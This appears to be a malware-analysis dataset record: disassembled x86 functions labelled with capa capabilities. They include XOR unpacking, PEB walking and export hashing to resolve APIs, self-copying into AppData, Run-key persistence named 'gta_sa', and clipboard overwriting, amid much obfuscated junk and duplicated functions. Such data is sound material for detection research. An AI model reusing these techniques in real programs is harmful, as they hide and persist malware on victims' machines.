joyce8/EMBER2024-capa huggingface dataset:
Function at 0x12786e3e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x12786e54
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x12786e65
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.12786ea6
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x12789212
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x1278915b
add ebx, 0
push ecx
call 0x12789170
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0xe6a1c2
sub ebx, dword [0xe89a01]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0xe899f1
call fcn.12784c3a
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.12784148
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x127892ce
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x127892ce
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x12789285
mov eax, 1
lock xchg dword [0xe899fd], eax
push 0x3dd1fc71
call 0x12789212
push esi
add esp, 8
cmp eax, 0
jne 0x127891fb
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x12789221
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x12789236
cmp ecx, edx
cmp eax, 0
je 0x1278925b
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x12789245
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.12789274
dec eax
loope 0x12789277
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0xe899fd], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x127892ab
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x127892c0
jmp 0x127892cb
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x127891b9
Function at 0x12790333
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x12790609
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0xe76675
add esp, 0x2e
sub esp, 4
mov dword [esp], 0xe6d63b
push 0xffffffffffffffff
call fcn.12787533
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x1279039d
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.127903b5
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x127905fd
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x127905d1
Function at 0x1279fe03
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1279fe25
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1279fe25
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1279fe25
ret
cmp word [ebx + 4], 0x14c
jne 0x1279fe25
test word [ebx + 0x16], 2
je 0x1279fe25
test word [ebx + 0x16], 0x100
je 0x1279fe25
cmp word [ebx + 0x18], 0x10b
jne 0x1279fe25
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x1279fe25
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1279feb1
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x1279fe45
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.12786d90
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1279fe25
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x1279feb1
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1279fe25
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1279fe25
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1279fe25
ret
cmp word [ebx + 4], 0x14c
jne 0x1279fe25
test word [ebx + 0x16], 2
je 0x1279fe25
test word [ebx + 0x16], 0x100
je 0x1279fe25
cmp word [ebx + 0x18], 0x10b
jne 0x1279fe25
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x1279fe25
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1279feb1
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x1279fe45
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.12786d90
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1279fe25
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x1279ff68
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1279ffc1
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1279ff68
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1279ff77
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x12ba5c1a
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1279ffc8
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.12786e3e
cmp eax, dword [ebp + 0xc]
pop eax
je 0x127a0067
add edi, 4
add eax, 2
dec ecx
jne 0x1279ffad
call 0x127a0014
loope 0x127a000a
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x127a0064
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x127a0075
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x127a0028
cmp eax, ecx
ja 0x127a0028
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x127a00b2
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x127a00a8
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1278731d
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x1279ff77
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1279ffc1
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1279ff68
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1279ff77
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x12ba5c1a
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1279ffc8
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.12786e3e
cmp eax, dword [ebp + 0xc]
pop eax
je 0x127a0067
add edi, 4
add eax, 2
dec ecx
jne 0x1279ffad
call 0x127a0014
loope 0x127a000a
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x127a0064
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x127a0075
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x127a0028
cmp eax, ecx
ja 0x127a0028
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x127a00b2
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x127a00a8
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1278731d
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x42e001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x42e030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x403ea0
Capabilities:
Copy file
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42f65a
mov eax, dword fs:[0]
push eax
sub esp, 0x45c
mov eax, dword [0x43e014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x218]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x4040d8
lea eax, ds:[ebp - 0x218]
push eax
lea ecx, [ebp - 0x468]
call fcn.00404d60
push ecx
mov edx, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x438]
call fcn.00406d20
add esp, 4
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x454]
cmp ecx, 8
jb 0x403f68
mov edx, dword ds:[ebp - 0x468]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403f5c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404117
push ecx
push edx
call fcn.00414855
add esp, 8
xor eax, eax
mov dword [ebp - 0x458], 0
cmp dword [ebp - 0x424], 8
mov word [ebp - 0x468], ax
lea eax, [ebp - 0x438]
cmovae eax, dword [ebp - 0x438]
push 0
push eax
mov dword [ebp - 0x454], 7
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x403fdf
call esi
cmp eax, 0xb7
je 0x403fdf
call esi
push eax
push ecx
mov edx, 0x439be0
call fcn.00406de0
add esp, 4
mov ecx, eax
call fcn.00404a40
push eax
call fcn.004070c0
add esp, 4
jmp 0x40409a
push 0x104
lea eax, [ebp - 0x420]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ecx
lea edx, [ebp - 0x438]
lea ecx, [ebp - 0x450]
call fcn.00406be0
add esp, 4
mov byte [ebp - 4], 3
lea eax, [ebp - 0x450]
cmp dword [ebp - 0x43c], 8
push 0
cmovae eax, dword [ebp - 0x450]
push eax
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x404058
call esi
push eax
push ecx
mov edx, 0x439ba0
call fcn.00406de0
add esp, 4
mov ecx, eax
call fcn.00404a40
push eax
call fcn.004070c0
add esp, 4
mov ecx, dword ds:[ebp - 0x43c]
cmp ecx, 8
jb 0x40409a
mov edx, dword [ebp - 0x450]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404090
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40411c
push ecx
push edx
call fcn.00414855
add esp, 8
mov ecx, dword [ebp - 0x424]
cmp ecx, 8
jb 0x4040fd
mov edx, dword [ebp - 0x438]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4040cc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404125
push ecx
push edx
call fcn.00414855
add esp, 8
jmp 0x4040fd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ecx
mov edx, 0x439c28
call fcn.00406de0
add esp, 4
mov ecx, eax
call fcn.00404a40
push eax
call fcn.004070c0
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004144ac
mov esp, ebp
pop ebp
ret
call fcn.0041a5f1
nop dword [eax]
call fcn.0041a5f1
call fcn.0041a5f1
int3
Function at 0x404140
Capabilities:
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42f6b6
mov eax, dword fs:[0]
push eax
sub esp, 0x258
mov eax, dword [0x43e014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x24c]
mov dword [ebp - 0x24c], 0
push eax
push 2
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404370
lea eax, [ebp - 0x218]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x404362
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x264]
call fcn.00404d60
push ecx
mov edx, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x248]
call fcn.00406d20
add esp, 4
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x250]
cmp ecx, 8
jb 0x404228
mov edx, dword ds:[ebp - 0x264]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40421c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4043b1
push ecx
push edx
call fcn.00414855
add esp, 8
xor eax, eax
mov dword [ebp - 0x254], 0
push ecx
lea edx, [ebp - 0x248]
mov dword [ebp - 0x250], 7
lea ecx, [ebp - 0x230]
mov word [ebp - 0x264], ax
call fcn.00406be0
add esp, 4
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x230]
mov eax, dword [ebp - 0x220]
cmp dword [ebp - 0x21c], 8
cmovae ecx, dword [ebp - 0x230]
lea eax, [eax*2 + 2]
push eax
push ecx
push 1
push 0
push str.gta_sa
push dword [ebp - 0x24c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x4042c8
nop word [eax + eax]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ecx
mov edx, 0x439c6c
call fcn.00406de0
add esp, 4
mov ecx, eax
call fcn.00404a40
push eax
call fcn.004070c0
add esp, 4
mov ecx, dword [ebp - 0x21c]
cmp ecx, 8
jb 0x404308
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4042fe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4043b6
push ecx
push edx
call fcn.00414855
add esp, 8
mov ecx, dword [ebp - 0x234]
xor eax, eax
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
cmp ecx, 8
jb 0x404362
mov edx, dword ds:[ebp - 0x248]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404358
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4043b6
push ecx
push edx
call fcn.00414855
add esp, 8
push dword [ebp - 0x24c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x404398
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ecx
mov edx, 0x439d20
call fcn.00406de0
add esp, 4
mov ecx, eax
call fcn.00404a40
push eax
call fcn.004070c0
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004144ac
mov esp, ebp
pop ebp
ret
call fcn.0041a5f1
call fcn.0041a5f1
int3
Function at 0x4043c0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42f6f0
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x43e014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, ecx
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
nop dword [eax]
test eax, eax
je 0x4044a5
jmp 0x404428
call dword [sym.imp.USER32.dll_EmptyClipboard]
test eax, eax
je 0x40448d
mov eax, dword [esi + 0x10]
lea ebx, [esi + 0x10]
lea eax, [eax*2 + 2]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
test edi, edi
je 0x40448d
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, eax
test ecx, ecx
je 0x404486
cmp dword ds:[esi + 0x14], 8
jb 0x404464
mov esi, dword [esi]
mov eax, dword [ebx]
push esi
inc eax
push eax
push ecx
call fcn.00418e99
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push edi
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.Failed_to_open_clipboard
lea ecx, [ebp - 0x20]
call fcn.00402410
push 0x43d48c
lea eax, ds:[ebp - 0x20]
push eax
call fcn.00415b1b
int3

Function at 0x408500
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
mov ecx, 0
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 0x811c9dc5
sub edx, edi
sar edx, 1
add edx, edx
je 0x408531
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
cmp ecx, edx
jb 0x408520
pop edi
mov eax, esi
pop esi
pop ebp
ret 8
Function at 0x4125ed
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x41260e
jl 0x412605
test edi, edi
jne 0x41260e
xor eax, eax
xor edx, edx
jmp 0x4126cf
cmp dword [ebx + 0x38], 0
je 0x412623
push eax
push edi
push dword [ebp + 8]
call fcn.004126d5
jmp 0x4126cf
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x41266a
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x41266a
cmp eax, edi
jb 0x412644
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.00415b90
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x412670
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x4126c4
mov ecx, ebx
call fcn.00411e46
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x4126af
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.0041b9a9
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x4126c4
jmp 0x412682
test edx, edx
je 0x4126c4
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0041b9a9
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc
Function at 0x4127c4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x4127e6
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004128a9
jmp 0x4128a4
mov eax, dword [ebx + 0x20]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov ecx, dword [eax]
lea eax, [ebx + 0x30]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
test ecx, ecx
je 0x41280c
mov eax, dword [eax]
mov ecx, dword [eax]
jmp 0x412811
xor ecx, ecx
mov dword [ebp - 0xc], eax
mov eax, ecx
cdq
mov dword [ebp - 4], eax
mov ecx, edx
mov dword [ebp - 8], ecx
test edi, edi
jl 0x412871
jg 0x412826
test esi, esi
je 0x412871
test ecx, ecx
jl 0x41286c
jg 0x412830
test eax, eax
je 0x41286c
cmp edi, ecx
jg 0x412842
jl 0x41283a
cmp esi, eax
jae 0x412842
mov eax, esi
mov dword [ebp - 4], esi
mov dword [ebp - 8], edi
push eax
push dword [ebp + 8]
push dword [ebp - 0x10]
call fcn.00415b90
mov eax, dword [ebp - 0xc]
add esp, 0xc
mov edx, dword [ebp - 4]
mov ecx, dword [ebp + 8]
add ecx, edx
sub esi, edx
mov eax, dword [eax]
sbb edi, dword [ebp - 8]
sub dword [eax], edx
mov eax, dword [ebx + 0x20]
add dword [eax], edx
jmp 0x412874
mov ecx, dword [ebp + 8]
jmp 0x41287e
mov ecx, dword [ebp + 8]
test edi, edi
jl 0x412898
jg 0x41287e
test esi, esi
je 0x412898
cmp dword [ebx + 0x4c], 0
je 0x412898
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0041c015
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
leave
ret 0xc